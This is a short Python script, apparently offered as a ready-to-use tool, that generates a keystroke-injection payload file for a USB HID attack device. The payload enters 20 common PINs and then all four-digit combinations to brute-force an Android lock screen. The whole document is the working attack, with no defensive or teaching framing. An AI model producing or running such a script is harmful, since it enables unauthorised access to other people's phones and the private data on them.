Android Brute Forcer Script2

#This script will inject 20 of the most common pin codes first, and then brute force afterwards.
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#!/usr/bin/python

defaultList = ['1234', '1111', '0000', '1212', '7777', '1004', '2000', '4444', '2222', '6969', '9999', '3333', '5555', '6666', '1122', '1313', '8888', '4321', '2001', '1010'];

def main():
    fileOpen = open("android_payload.txt", "w+")
    fileOpen.write("DELAY 5000\n")

    for x in defaultList:
        fileOpen.write("STRING %s\n" % x);
        fileOpen.write("ENTER\nDELAY 500\n")

    for w in range(0,10):
        for z in range(0,10):
            for y in range(0,10):
                for x in range(0,10):
                    fileOpen.write("STRING %d%d%d%d\n" % (w,z,y,x))
                    if (x % 2) == 0:
                        fileOpen.write("ENTER\n")
                    fileOpen.write("ENTER\nDELAY 500\n")


    fileOpen.close()

main()